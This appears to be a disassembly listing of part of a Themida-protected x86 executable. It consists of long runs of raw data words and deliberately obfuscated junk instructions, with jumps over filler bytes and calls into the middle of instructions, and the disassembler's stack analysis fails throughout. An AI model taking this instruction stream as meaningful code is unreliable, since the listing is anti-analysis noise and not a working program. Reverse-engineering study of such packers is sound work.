		dd 0D0BF0FFBh, 8166C28Bh, 665E6CC2h, 720FF381h,	59E8C2BAh
		dd 0E9E6B10Eh, 0Dh, 0FFF853CEh,	23E896C8h, 1A6BD9DFh, 0FEB70FE1h
		dd 0BCEA57BEh, 0FE8B665Fh, 0FA44D881h, 870F10C0h, 4, 8B41BB66h
		dd 38E0Fh, 8B660000h, 9E960C2h,	4F000000h, 173A7D58h, 993D2055h
		dd 0FE9h, 998E2600h, 5C92AA93h,	0F2B8E199h, 0E64707EDh
		dd 0FE961h, 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h
		dd 0D7816695h, 10B53AEFh, 66D2BF0Fh, 66FEF8BBh,	0D981D68Bh
		dd 68C33402h, 66CF8AF9h, 820FF18Bh, 17h, 12E9h,	0FF56900h
		dd 9C11D44Bh, 0DCB05669h, 0D8085B61h, 8B37A58Fh, 548B9F8h
		dd 0BE601E40h, 1A294774h, 59EF8166h, 0D68B61DCh, 0EED88160h
		dd 6109437Ch, 0C88FA9BFh, 158A0F64h, 0E9000000h, 10h, 4CD976FCh
		dd 31D20030h, 0F284DDA7h, 2776EC1h, 13E9h, 0C8A54600h
		dd 0AFBC1B3Ch, 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 0F5EF956h
		dd 87h,	11E95700h, 0E000000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh
		dd 0F21B4A1Fh, 63B9665Ah, 0C38B6654h, 6880Fh, 0D9810000h
		dd 2EC9A15Eh, 6E8E8B6h,	0C4000000h, 1FDF3999h, 14E9607Fh
		dd 0
		dd 33A958ABh, 0D19EC490h, 38437879h, 0A22B3882h, 8008F7EDh
		dd 596150D6h, 1860Fh, 66FC0000h, 0BF0FF88Bh, 60D78BCBh
		dd 0D2B70FF8h, 27D88061h, 0FCDA8B66h, 0CE8h, 0DE320900h
		dd 9259F66Eh, 0F62A3C69h, 12E93Dh, 853E0000h, 8637B1E3h
		dd 1EDA602Bh, 0DA786A59h, 0FD526206h, 0D18B6658h, 3890Fh
		dd 8B660000h, 86CB81CBh, 0BB528914h, 3E2B51EFh,	2800F57h
		dd 0B0000000h, 0D1815EBDh, 5AE78EFFh, 61CE8B60h, 8157DA8Bh
		dd 66B77AEBh, 0EE8581Ah, 70000000h, 0D8F8A6EEh,	9A05965Fh
		dd 419F8AEAh, 0C18B66C0h, 0A6D6815Fh, 606EE5E1h, 4850Fh
		dd 0B8660000h, 6061C043h, 0B5F224BAh, 8A60611Ch, 870FE6h
		dd 61000000h, 61DA8166h, 71BE6664h, 0FE68AFEh, 68Ch, 800F00h
		dd 0F000000h, 0BF66F7BFh, 816696B8h, 666810CFh,	1A59D381h
		dd 0D8D0FF5h, 60000000h, 8A0Fh,	0CCBF0000h, 61379168h
		dd 8700F181h, 666011E3h, 0D8B0DF81h, 0BC31CB81h, 60617066h
		dd 66C0BF0Fh, 0F561D98Bh, 0D850E081h, 890F4195h, 1, 6BD480F9h
		dd 4850Fh, 0BF660000h, 0C58007C7h, 0F08166B2h, 870FAF43h
		dd 8, 2890Fh, 0C18B0000h, 0C8B0Fh, 810F0000h, 6, 0C5BAE081h
		dd 0C081497Ch, 26758FE1h, 9E8h,	89441B00h, 0B525BFF3h
		dd 0E95B3D0Bh, 9, 0B8FE20C0h, 5989BA69h, 9E933h, 49ED0000h
		dd 74716991h, 0F8002E68h, 5CB3B866h, 0FF8F88Bh,	583h, 0FAB0BB00h
		dd 81663D74h, 668C60E3h, 0BE9CE8Bh, 0E5000000h,	54332D20h
		dd 11BB35AFh, 13E88C99h, 0A1000000h, 0BA49A49Eh, 7F6A66E9h
		dd 0ABE7A0BDh, 75697D81h, 6B90D3Eh, 5975A285h, 16810F51h
		dd 0E9000000h, 11h, 2EBC8C8Ch, 0CF803AACh, 0AF3F7B72h
		dd 0AED53236h, 0FF859DAh, 118Bh, 0CE900h, 6D820000h, 256A44E6h
		dd 5EDB8F2h, 840F846Fh,	4, 0A715BB66h, 0FCD4DC80h, 6E9h
		dd 0D5639700h, 0F9980E95h, 0D8B966F8h, 0D9BF0F5Dh, 0E9F38B66h
		dd 0Ch,	7BC0D544h, 40CBAC55h, 91721D8Fh, 57AD41BAh, 6BC08028h
		dd 13E960h, 0C5D80000h,	0C0D07E66h, 69056FECh, 7443D4ADh
		dd 0D86677E2h, 0AE80Dh,	0E8180000h, 0EE720825h,	4874610h
		dd 6158C38Bh, 6E9D78Bh,	5D000000h, 0A43AD8EDh, 0EE8F835h
		dd 82000000h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 11E96075h
		dd 0D2000000h, 283D6975h, 0E60869E6h, 9E7C0449h, 0FAEB4399h
		dd 10E8h, 0F0F99600h, 52AE580h,	0B34B6CE6h, 5EB25388h
		dd 58615ED8h, 8A61F560h, 0D28166ECh, 0CB8A48Ch,	0F764721h
		dd 0B89h, 6E900h, 0DBFF0000h, 4B6F92AFh, 76DEC881h, 0BF662018h
		dd 0DE80901h, 69000000h, 508C00AAh, 0E34AF79Fh,	97554CCCh
		dd 78BBEF81h, 0B85873C9h, 56C74554h, 814BEF80h,	0DA6147E9h
		dd 0FAF8BF2Dh, 8166674Ah, 66C360F0h, 327ADA81h,	0C181B0B1h
		dd 52A253AFh, 0A204E081h, 0C1810E95h, 5D7E473Dh, 80F9FB8Bh
		dd 0F5273C3h, 380h, 0FABF0F00h,	38F0F5Ah, 66000000h, 0DE8C88Bh
		dd 4E000000h, 257249CCh, 4B24910Ah, 5B52C88Bh, 628B84BEh
		dd 0BE505B27h, 2D09160h, 6E95Bh, 0CBFD0000h, 8D8008B3h
		dd 3830Fh, 8B660000h, 13E9CEh, 0F68C0000h, 0D8D066FFh
		dd 150F5FC7h, 82C5ACAFh, 43D6D03h, 8328B9A0h, 0BA66449Fh
		dd 0FE992B4h, 25000000h, 6D3ED502h, 0AFA788Ah, 0C12E0BF0h
		dd 13E8A192h, 9A000000h, 0C04D20C5h, 496F0043h,	0DD7A4203h
		dd 0EBECFC79h, 5AF5223Dh, 0A484F181h, 0BF0F3138h, 56E880C8h
		dd 3860Fh, 0DA800000h, 0EFBE661Bh, 0D4E48006h, 67F28166h
		dd 8B66F981h, 0DAB8BFC8h, 0DAB37CD9h, 13E9h, 9A7A8100h
		dd 0C53706E9h, 14ED81BBh, 698B8A5Eh, 0BF8F72FBh, 53DBB70Fh
		dd 0FE9h, 0DFE6B600h, 378D19A2h, 7A2EA2F2h, 13495F31h
		dd 0DE958h, 0E8FF0000h,	723B6FC2h, 576B54CFh, 66DD47C4h
		dd 0BF17C2BEh, 21986A80h, 0BE8h, 0C13CEE00h, 0A9F39310h
		dd 1E5E4074h, 0BE8h, 0A302F300h, 8163E3EFh, 0B0F705C5h
		dd 8B0Fh, 5E5E0000h, 0EFDB8166h, 0C7816677h, 14E84D08h
		dd 92000000h, 4095DF8Fh, 22A0D269h, 6B1D035h, 0BE6DEA4Fh
		dd 0F5EA584h, 0FC5BD1B7h, 5880Fh, 81660000h, 60825ED1h
		dd 66D0B70Fh, 613F95BFh, 0FBB70FFCh, 0BFF08B66h, 41943A5h
		dd 800Fh, 53510000h, 850Fh, 5F5F0000h, 6647F180h, 0F8E5CBFh
		dd 68Dh, 66D18100h, 0E9468EB0h,	0Fh, 1CA90BE1h,	0F4D7CD56h
		dd 7FB5B131h, 0E839D1DEh, 14h, 40ABA8F6h, 4DED302Fh, 0A506F7ABh
		dd 84CD8588h, 0E0D65862h, 850F52h, 5F000000h, 0BF0F605Ah
		dd 61CF81C3h, 614393AEh, 0C2B966F5h, 0EFF180C5h, 97E0B856h
		dd 0E85E431Ch, 6, 89DDCAFBh, 6E8B71Ah, 0A9000000h, 0C8BA6E5Ah
		dd 0F5A5E4Bh, 108Ch, 7E800h, 5B600000h,	1E30AAB9h, 0C9B70F57h
		dd 46DA815Fh, 8B08E6F8h, 820F51DEh, 6, 840Fh, 0E9580000h
		dd 9, 252D904h,	0C6A2DA8Ch, 389CBFB0h, 890F68FEh, 4, 0A7B3BF66h
		dd 10E9CF8Bh, 3B000000h, 9EA435DEh, 662C3B31h, 0C3D2537h
		dd 0BEA1672Dh, 1DD8F6AFh, 0F98BF5F9h, 0B70FD18Bh, 0EA7ABBFEh
		dd 0ED801140h, 0D0B70FC9h, 1CE28166h, 5BFC50B2h, 53C68B66h
		dd 0A46C29BEh, 0C68B5F1Dh, 0BF0F9AB1h, 8BFA8BD6h, 0C0C480FBh
		dd 0EE9h, 0A6E7B500h, 3D723117h, 0DD662223h, 0BB16CCCDh
		dd 73316DC9h, 3830Fh, 0DA800000h, 0FE977h, 9F3B0000h, 8E64B6C8h
		dd 5F335E2Fh, 0E1E94FDBh, 0EB805728h, 0EFBA5F6Fh, 0F68D0F7h
		dd 382h, 0F2B70F00h, 60E949BBh,	11E86Bh, 0BDDC0000h, 0D8BFB08Fh
		dd 0EC7A0B3Ch, 0DEC0D249h, 66120AACh, 8F51C781h, 0D7B9F85Eh
		dd 0E84E86DAh, 9, 6F11992Ch, 0B6329110h, 1870F6Eh, 0FC000000h
		dd 8B66535Fh, 0B70F59D9h, 0EE8C8h, 0AA170000h, 0AEFD322Eh
		dd 25AF0472h, 0BA878C65h, 0D08B6660h, 820Fh, 5B610000h
		dd 60C9BF0Fh, 5661E58Ah, 995A8BB8h, 0A0BB5969h,	5060F154h
		dd 34F159BBh, 81665B35h, 0E91CE4D1h, 13h, 4E067E24h, 0A564E322h
		dd 4899957Eh, 43643151h, 0F5B23C4h, 583h, 0EB816600h, 8B518FDAh
		dd 810F5FF7h, 5, 3CF18166h, 0A8C0FF1h, 0E9000000h, 5, 0D0DFA4D4h
		dd 19B866BBh, 0E08151AAh, 4D0C1F2Bh, 0F681665Bh, 0BA66CE3Dh
		dd 8B663ED4h, 11E9C1h, 629D0000h, 0B230CEB7h, 62A14A4Dh
		dd 0FAB37DD3h, 0B83609B3h, 654E4A49h, 0E556CF81h, 0B70F5698h
		dd 0D18166F1h, 0B70FB9BBh, 0E08166D1h, 0BF0F65E8h, 0E9F5F9DEh
		dd 0Bh,	2054D624h, 7BC34202h, 6667E60Eh, 0AAC9D381h, 838DE981h
		dd 0BF0F1E7Bh, 816060C9h, 8B9099C7h, 4F97BB45h,	0F61367Ah
		dd 0BB61C8BFh, 41E1BA06h, 158C0Fh, 10E90000h, 74000000h
		dd 0B43798Ah, 0E66E0E13h, 720D4DC7h, 0FDA2821h,	38Eh, 0F3B70F00h
		dd 4E6DE81h, 0BB661EC6h, 0BE95862h, 86000000h, 0ACDA5E64h
		dd 3937AAC6h, 0ACBA655Dh, 0B965C42Ah, 7A2F40C3h, 0F70E180h
		dd 108Bh, 0BE900h, 80150000h, 82D2E350h, 0F3D338DAh, 0BE969h
		dd 187D0000h, 0F69DE8A0h, 0F988298Eh, 0F88B6662h, 0BEC3B70Fh
		dd 17CBB5FAh, 0E8DF8B66h, 14h
		dd 0E76BC44Bh, 258030CCh, 32771E50h, 5760DEACh,	49584BE3h
		dd 0F5FF78Bh, 184h, 0B70FFC00h,	88BB66D2h, 0F88B60B6h
		dd 86C38166h, 0CE961FBh, 14000000h, 1D5EB118h, 0F80B2A8Bh
		dd 0B9D4F147h, 284994F5h, 68E0Fh, 0C9810000h, 420453AEh
		dd 0BE9h, 9CBEB500h, 322A20ACh,	0E7A33AA1h, 3890Fh, 0C2800000h
		dd 0F895B9BDh, 0B8665B78h, 8B66C6DDh, 1ABE66D1h, 0F88B6683h
		dd 0E9D0BF0Fh, 9, 9A4BB565h, 72EBFBF0h,	8AC68B1Fh, 3DB966C5h
		dd 0F98B605Ah, 0F61FB8Bh, 28Dh,	0E8F8B400h, 11h, 9E38DF3Ch
		dd 1D66E2FDh, 0B8E4F603h, 5596AF9Fh, 850F5BD9h,	0Ch, 6820Fh
		dd 880F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_608108
; ---------------------------------------------------------------------------
		db 2Bh,	0E4h, 9Fh
		dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah
; ---------------------------------------------------------------------------


loc_608108:				; CODE XREF: Themida_:006080F4j
		jmp	loc_60811E
; ---------------------------------------------------------------------------
		db 78h,	8Ch, 28h
		dd 9FC8CE1Fh, 5E98A9FFh, 7E623A26h
; ---------------------------------------------------------------------------
		mov	ah, 17h


loc_60811E:				; CODE XREF: Themida_:loc_608108j
		call	sub_608134
		rcl	ch, cl		; CODE XREF: Themida_:00608126j
		into
		db	66h
		jno	short near ptr loc_608123+1
		mov	edx, 31B1F5D3h
; ---------------------------------------------------------------------------
		dw 0E9C4h
		dd 245D9E98h

; =============== S U B	R O U T	I N E =======================================



sub_608134	proc near		; CODE XREF: Themida_:loc_60811Ep

; FUNCTION CHUNK AT 006081AE SIZE 0000000D BYTES

		mov	edi, ebx
		pop	edi
		adc	ebx, 4E278E9Dh
		or	esi, 76F468DBh
		mov	edi, 460825FBh
		xor	bl, 5Ch
		call	loc_608162
		db	36h
		rcl	dl, 0F1h
		jns	short loc_6081AE
		test	dword ptr [ebp-562AE02Bh], 17FB6C76h
		sub	al, 0C2h
sub_608134	endp ; sp-analysis failed



loc_608162:				; CODE XREF: sub_608134+17p
		mov	di, 1ACEh
		pop	esi
		or	di, 41B5h
		mov	di, 0CE76h
		jl	loc_60818C
		jmp	loc_60818C
; ---------------------------------------------------------------------------
		db 0Ch
; ---------------------------------------------------------------------------
		mov	ds:71DF4B38h, al
		xchg	eax, edx
		xor	[edi-4Bh], esp
		aad	97h
		cmpsd
		xchg	eax, ebx
		cmp	[edx-42h], dh


loc_60818C:				; CODE XREF: Themida_:00608170j
					; Themida_:00608176j
		movzx	eax, ax
		mov	ebx, eax
		mov	eax, 250D1445h
		push	esi
		mov	edi, 149F7F91h
		pop	eax
		push	esi
		jnb	near ptr loc_6081B0+2
		jmp	near ptr loc_6081B0+2
; ---------------------------------------------------------------------------
		and	al, 1Ch
		retn
; ---------------------------------------------------------------------------
		db 2Dh,	0E4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_608134


loc_6081AE:				; CODE XREF: sub_608134+20j
		sub	[esi], esi


loc_6081B0:				; CODE XREF: Themida_:0060819Ej
					; Themida_:006081A4j
		les	esi, [ebx+ebx*2+66h]
		mov	ebx, 0E8F8C14Dh
		adc	al, [eax]
; END OF FUNCTION CHUNK	FOR sub_608134
; ---------------------------------------------------------------------------
		db 0
		dd 9F482700h, 3864987Fh, 0DF407B2Dh, 36A6545Ch,	0FEFC6ABh
		dd 28Fh, 5F616000h, 9D9A34BBh, 12C28054h, 6E9D38Bh, 70000000h
		dd 691FB956h, 6DBE66C7h, 6692B60Ah, 0DF44D781h,	11E8h
		dd 0E162EF00h, 384C4173h, 8E1B06C5h, 129E67B4h,	0F60B4F9h
		dd 82h,	61616000h, 8B0FF85Bh, 0Ah, 840F60h, 60000000h
		dd 10E86161h, 12000000h, 9D05EBB4h, 4F3929B1h, 0A75DF367h
		dd 58470679h, 0FCC08166h, 0E95956EAh, 0Ch, 0CD2E5F20h
		dd 52C21D1Fh, 1798A89Dh, 0B8F0Fh, 66600000h, 0B85260BAh
		dd 3B793EA5h, 952CB861h, 840F43C6h, 5, 2281BCBEh, 0E959B63Dh
		dd 11h,	4682C654h, 0E51EFE1h, 2D29AD1Ch, 1DD64FA2h, 12E973h
		dd 76030000h, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h
		dd 0BF18166h, 0D0BF0FEBh, 0CFBF0F60h, 13E9h, 4709E200h
		dd 0A6D23F48h, 7923C2D4h, 62C5CC8Ah, 23ADFE0Fh,	9E861h
		dd 97CE0000h, 0AE9575D6h, 6620C59Ah, 6188D081h,	57E28A5Ah
		dd 6659D18Bh, 7BBFF381h, 4230BB66h, 589EB756h, 6E9h, 9D904200h
		dd 0F12E9EEh, 8Ch, 0BE900h, 0B1F60000h,	0CD22884Ch, 834B9CEBh
		dd 69BA6635h, 0F781F979h, 48C449A2h, 8A0FC18Bh,	0
; ---------------------------------------------------------------------------
		jmp	loc_608337
; ---------------------------------------------------------------------------
		db 14h,	56h, 0F5h
		dd 0F8051CE6h
		db 0B1h, 0BEh, 0E0h
; ---------------------------------------------------------------------------


loc_608337:				; CODE XREF: Themida_:00608328j
		mov	ax, dx
		jns	loc_608346
		jbe	$+6


loc_608346:				; CODE XREF: Themida_:0060833Aj
		pusha
		mov	cx, 5514h
		call	sub_60835A
		rcl	byte ptr [ecx+69h], 1
		xor	esp, ebp
		into
		lahf
; ---------------------------------------------------------------------------
		db 65h
		db 0FEh, 2Bh

; =============== S U B	R O U T	I N E =======================================



sub_60835A	proc near		; CODE XREF: Themida_:0060834Bp
		pusha
		popa
		pop	ebx
		popa
		mov	ecx, 75EFCF24h
		jp	loc_608375
		jmp	loc_608375
; ---------------------------------------------------------------------------
		dw 0BF0Eh
		dd 2D8A596h
		db 0CAh
; ---------------------------------------------------------------------------


loc_608375:				; CODE XREF: sub_60835A+9j
					; sub_60835A+Fj
		push	eax
		pop	eax
		jg	loc_60838A
		pusha
		xor	bx, 43DBh
		jle	$+6
		popa


loc_60838A:				; CODE XREF: sub_60835A+1Dj
		mov	bx, dx
		jmp	loc_60839B
; ---------------------------------------------------------------------------
		add	[esi], edx
		icebp
		cmc
		cmpsd
		ror	ecx, 2Eh
		xchg	eax, edi


loc_60839B:				; CODE XREF: sub_60835A+33j
		call	sub_6083B3
		sbb	edx, 240BD605h
		mov	ch, 74h
		or	al, 5Ah
		rep mov	bh, 61h
		in	al, dx
		push	ds
		jnp	short near ptr loc_6083C8+5
		in	eax, dx
sub_60835A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6083B3	proc near		; CODE XREF: sub_60835A:loc_60839Bp
		mov	cx, dx
		pop	esi
		jmp	loc_6083C8
; ---------------------------------------------------------------------------
		dd 0AE21C0FBh, 8CB45DAEh, 6BC2424h
; ---------------------------------------------------------------------------


loc_6083C8:				; CODE XREF: sub_6083B3+4j
					; sub_60835A+56j
		and	ecx, 355B69B4h
		pusha
		jz	loc_6083D8
		add	dl, 29h


loc_6083D8:				; CODE XREF: sub_6083B3+1Cj
		mov	dh, 93h
		popa
		pusha
		adc	cl, 61h
		sbb	dx, 58BDh
		popa
		or	si, 4373h
		jmp	loc_608403
; ---------------------------------------------------------------------------
		db 0CDh
		dd 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h
		db 8Eh,	20h, 0BCh
; ---------------------------------------------------------------------------


loc_608403:				; CODE XREF: sub_6083B3+37j
		call	sub_608411
		iret
sub_6083B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0E6h, 56h, 0A7h
		dd 9FAD22A8h
		db 0Ah

; =============== S U B	R O U T	I N E =======================================



sub_608411	proc near		; CODE XREF: sub_6083B3:loc_608403p
		pop	edi
		movsx	edi, cx
		jmp	loc_60841F
; ---------------------------------------------------------------------------
		and	eax, 14ECB710h


loc_60841F:				; CODE XREF: sub_608411+4j
		xor	ch, 0D4h
		movsx	eax, di
		jbe	loc_60842F
		mov	dx, 0B880h


loc_60842F:				; CODE XREF: sub_608411+14j
		mov	si, 1314h
		jmp	loc_608441
; ---------------------------------------------------------------------------
		dd 34891F19h, 1A112A49h
; ---------------------------------------------------------------------------
		scasd


loc_608441:				; CODE XREF: sub_608411+22j
		jge	loc_608460
		jmp	loc_608460
; ---------------------------------------------------------------------------
		dd 0C9F0B87Fh, 0BF15DF0Fh, 17C28017h, 72F442ADh, 78A99F22h
; ---------------------------------------------------------------------------


loc_608460:				; CODE XREF: sub_608411:loc_608441j
					; sub_608411+36j
		mov	eax, ecx
		mov	edi, 10A0426Eh
		add	si, 7323h
		pusha
		push	edi
		mov	si, bx
		pop	ecx
		sub	bx, 2ADAh
		popa
		mov	esi, 51973A91h
		jmp	loc_608490
; ---------------------------------------------------------------------------
		dw 6FF3h
		dd 1BBB4702h, 904F8C2Dh, 0F69FC960h
; ---------------------------------------------------------------------------


loc_608490:				; CODE XREF: sub_608411+6Cj
		xor	dl, 61h
		call	loc_60849E
		xor	al, 0D1h
		aaa
		cmpsb
		out	81h, eax	; DMA page register 74LS612:
sub_608411	endp ; sp-analysis failed ; Channel 2 (diskette	DMA)  (address bits 16-23)



loc_60849E:				; CODE XREF: sub_608411+82p
		jp	loc_6084B5
		jmp	loc_6084B5
; ---------------------------------------------------------------------------
		db 0BFh, 89h, 94h
		dd 98192714h, 0AEF0A7AEh
		db 8Fh
; ---------------------------------------------------------------------------


loc_6084B5:				; CODE XREF: Themida_:loc_60849Ej
					; Themida_:006084A4j
		pop	esi
		mov	esi, ecx
		xor	dl, 0C3h
		mov	cl, 94h
		movsx	ecx, ax
		jmp	loc_6084D1
; ---------------------------------------------------------------------------
		db 39h,	0Dh, 26h
		dd 1BDAF7AFh, 63F59562h
		db 0F3h
; ---------------------------------------------------------------------------


loc_6084D1:				; CODE XREF: Themida_:006084C0j
		cld
		mov	ecx, edi
		push	edx
		mov	esi, 7E2AF099h
		pop	edx
		mov	dl, 5Fh
		mov	bh, 0BFh
		mov	ah, 0C5h
		jmp	loc_6084FA
; ---------------------------------------------------------------------------
		dw 0C787h
		dd 0B7D9A354h, 64D857EFh, 40FD0478h, 4B5F6341h
; ---------------------------------------------------------------------------
		add	al, 0A6h


loc_6084FA:				; CODE XREF: Themida_:006084E1j
		and	bh, 54h
		mov	cl, 3Dh
		jmp	loc_60850F
; ---------------------------------------------------------------------------
		dd 227F7D2h, 0C1164CFh
; ---------------------------------------------------------------------------
		rol	eax, 0B7h


loc_60850F:				; CODE XREF: Themida_:006084FFj
		push	ecx
		jmp	loc_60851B
; ---------------------------------------------------------------------------
		db 8Ah,	44h, 1Eh
; ---------------------------------------------------------------------------
		sbb	esi, 4Dh


loc_60851B:				; CODE XREF: Themida_:00608510j
		pop	eax
		pusha
		mov	esi, eax
		mov	edx, 1E57774Bh
		popa
		mov	ecx, 68354821h
		movsx	edi, cx
		push	edi
		call	sub_608543
		dec	edx
; ---------------------------------------------------------------------------
		dd 9966E6DFh, 0C4B5F43Bh, 4EDD01ADh
		db 2Fh,	9Eh, 2Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_608543	proc near		; CODE XREF: Themida_:0060852Ep
		jmp	sub_608550
sub_608543	endp

; ---------------------------------------------------------------------------
		dd 5B7F58F1h, 6F54737Eh

; =============== S U B	R O U T	I N E =======================================



sub_608550	proc near		; CODE XREF: sub_608543j
		pop	esi
		pop	ebx
		jmp	loc_608560
; ---------------------------------------------------------------------------
		pop	ss
		scasd
		faddp	st(1), st
		mov	ds:0EEA3735Bh, al


loc_608560:				; CODE XREF: sub_608550+2j
		pusha
		adc	dx, 0CF22h
		mov	ecx, 47F7B986h
		popa
		push	edi
		mov	bx, ax
		pop	eax
		mov	edi, 6F92F40Ch
		movsx	edi, ax
		call	near ptr loc_608584+4
		inc	ebp
		outsd
		inc	esp
		insd
		sub	dh, dh


loc_608584:				; CODE XREF: sub_608550+29p
		mov	ds:66F73543h, eax
sub_608550	endp ; sp-analysis failed

		mov	edx, 605EF8D8h
		xor	cx, 0E2F2h
		mov	cx, si
		popa
		and	ax, 0F46Bh
		mov	cl, 38h
		jge	loc_6085A9
		xor	bx, 6EC1h


loc_6085A9:				; CODE XREF: Themida_:0060859Ej
		jmp	loc_6085C0
; ---------------------------------------------------------------------------
		dw 4C51h
		dd 6E74DF28h, 0E5E77AACh, 33FF6967h, 56C488AEh
; ---------------------------------------------------------------------------


loc_6085C0:				; CODE XREF: Themida_:loc_6085A9j
		movzx	ecx, di
		mov	eax, 70713734h
		pusha
		movsx	ebx, di
		jns	loc_6085D7
		xor	di, 4D6Dh


loc_6085D7:				; CODE XREF: Themida_:006085CCj
		popa
		push	edi
		cld
		pop	ecx
		jmp	loc_6085F3
; ---------------------------------------------------------------------------
		dd 82908114h, 471E2020h, 0C54D0F87h, 357C31D9h
; ---------------------------------------------------------------------------
		or	al, [ecx]
		pushf


loc_6085F3:				; CODE XREF: Themida_:006085DBj
		jbe	loc_6085FB
		mov	dh, 0F4h


loc_6085FB:				; CODE XREF: Themida_:loc_6085F3j
		jmp	loc_60860B
; ---------------------------------------------------------------------------
		dd 0DA96EADEh, 7636BB74h
		db 0A3h, 0C3h, 6Ah
; ---------------------------------------------------------------------------


loc_60860B:				; CODE XREF: Themida_:loc_6085FBj
		stc
		mov	cx, 53B2h	; CODE XREF: sub_608643+24j
		stc
		stc
		push	edx
		push	ecx
		mov	ecx, 56AB9908h
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_60866A


loc_60861A:				; CODE XREF: sub_60866A+1Bj
		pop	edi
		and	esi, 46A4FA0Bh
		cld
		pusha
		push	edi
		jge	$+6
		pop	eax
		cld
		popa
		call	sub_608643
		inc	ebp
		shl	byte ptr [ecx],	1
		push	ds
		push	ss
		mov	al, ds:54EFBE86h
		retf
; END OF FUNCTION CHUNK	FOR sub_60866A
; ---------------------------------------------------------------------------
		db 0A8h, 0A6h, 2
		db 98h,	91h, 0Ah

; =============== S U B	R O U T	I N E =======================================



sub_608643	proc near		; CODE XREF: sub_60866A-3Dp
		push	ecx
		mov	edi, esi
		pop	ecx
		pop	esi
		mov	si, bx
		jge	loc_608655
		mov	bx, 0ADFBh


loc_608655:				; CODE XREF: sub_608643+8j
		mov	edi, ecx
		cld
		mov	eax, 70B3BB7Eh
		call	near ptr sub_60866A
		mov	dh, 0CDh
		mov	bh, 83h
		inc	ecx
		jl	short near ptr loc_60860C+2
		inc	esi
sub_608643	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60866A	proc far		; CODE XREF: sub_608643+1Ap

; FUNCTION CHUNK AT 0060861A SIZE 00000023 BYTES

		and	ch, 0
		pop	edi
		mov	eax, 22F36976h	; CODE XREF: sub_60866A+1Dj
		mov	cx, 107Dh
		pusha
		call	near ptr loc_60868D+3
		out	0E7h, al
		inc	ecx
		js	short near ptr loc_6086FB+2
		in	eax, dx


loc_608683:				; CODE XREF: sub_60866A+20j
		db	36h
		pusha
		jg	short loc_60861A
		jo	short near ptr loc_60866E+3
		dec	ebp
		js	short loc_608683
		lodsd


loc_60868D:				; CODE XREF: sub_60866A+Ep
		mov	ds:0E18184CFh, al
sub_60866A	endp ; sp-analysis failed

		movsb
		sub	al, 0EAh
		adc	ebx, [esi-4Fh]
		stosb
		popa
		mov	esi, ebx
		jo	loc_6086A7
		mov	ebx, 567AE1BFh


loc_6086A7:				; CODE XREF: Themida_:0060869Cj
		sub	bh, 57h
		adc	ecx, 45AA473Bh
		jz	loc_6086B9
		movzx	edx, bx


loc_6086B9:				; CODE XREF: Themida_:006086B0j
		mov	dh, bh
		mov	cx, ax
		mov	bh, 0EEh
		stc
		sub	bx, 0B429h
		jnz	loc_6086DC
		call	near ptr loc_6086D1+5


loc_6086D1:				; CODE XREF: Themida_:006086CCp
		sbb	[ebp-45632DF3h], ch
		enter	0FFFFF378h, 14h
		pop	ecx


loc_6086DC:				; CODE XREF: Themida_:006086C6j
		mov	di, dx
		jmp	loc_6086F8
; ---------------------------------------------------------------------------
		dd 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h,	5074B00h
; ---------------------------------------------------------------------------


loc_6086F8:				; CODE XREF: Themida_:006086DFj
		mov	eax, edi
		push	edx


loc_6086FB:				; CODE XREF: sub_60866A+16j
		mov	ax, cx
		pop	edx
		push	edi
		call	sub_608714
		or	ecx, gs:0DC408270h
		xchg	eax, ecx
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		and	eax, 2BCC080h

; =============== S U B	R O U T	I N E =======================================



sub_608714	proc near		; CODE XREF: Themida_:00608700p
		jno	$+6
		pop	edx
		pop	edx
		push	ebx
		mov	ah, bl
		pop	eax
		mov	cx, dx
		mov	ecx, esi
		and	eax, 52FB3E65h
		push	ecx
		cmc
		pop	edi
		call	near ptr loc_60873C+2
		rep mov	ds:7FE2ECA5h, al
		in	eax, 4Fh
		push	ebx


loc_60873C:				; CODE XREF: sub_608714+1Ap
		imul	esp, [ecx+edi*4+60h], 41h
sub_608714	endp ; sp-analysis failed

		jo	short near ptr loc_6087B6+4
		pop	esi
		jbe	loc_60875A	; CODE XREF: sub_608777+3Dj
		call	near ptr loc_608753+3
		inc	esi
		popa
		popf
		cmc


loc_608753:				; CODE XREF: Themida_:0060874Ap
		fld	tbyte ptr ds:17F5804Ch
		pop	ecx


loc_60875A:				; CODE XREF: Themida_:00608744j
		jle	loc_608778
		ja	loc_608778
		call	sub_608777
		cmc
		fstp	qword ptr [edx-6DE1FAAEh]
		test	al, 67h
		repne jb short loc_6087D7

; =============== S U B	R O U T	I N E =======================================



sub_608777	proc near		; CODE XREF: Themida_:00608766p
		pop	edi


loc_608778:				; CODE XREF: Themida_:loc_60875Aj
					; Themida_:00608760j
		sub	ecx, 34C8D8DCh
		jz	loc_608793
		jmp	loc_608793
; ---------------------------------------------------------------------------
		db 0E5h, 6Dh, 3Fh
		dd 0A6E2BDA1h
		db 64h,	7Eh, 46h
; ---------------------------------------------------------------------------


loc_608793:				; CODE XREF: sub_608777+7j
					; sub_608777+Dj
		jmp	loc_6087A2
; ---------------------------------------------------------------------------
		dd 8B9A8C42h, 0EE6F0FD9h
		db 2Bh,	48h
; ---------------------------------------------------------------------------


loc_6087A2:				; CODE XREF: sub_608777:loc_608793j
		movsx	edi, di
		movzx	edi, cx
		call	near ptr loc_6087BB+3
		imul	eax, [esi+5Eh],	5C6AC584h
		jno	short near ptr loc_608744+3


loc_6087B6:				; CODE XREF: Themida_:00608741j
		mov	eax, ds:5FF5395Fh


loc_6087BB:				; CODE XREF: sub_608777+31p
		sub	eax, 87B7CA08h
sub_608777	endp ; sp-analysis failed

		pop	edi
		movzx	edx, cx
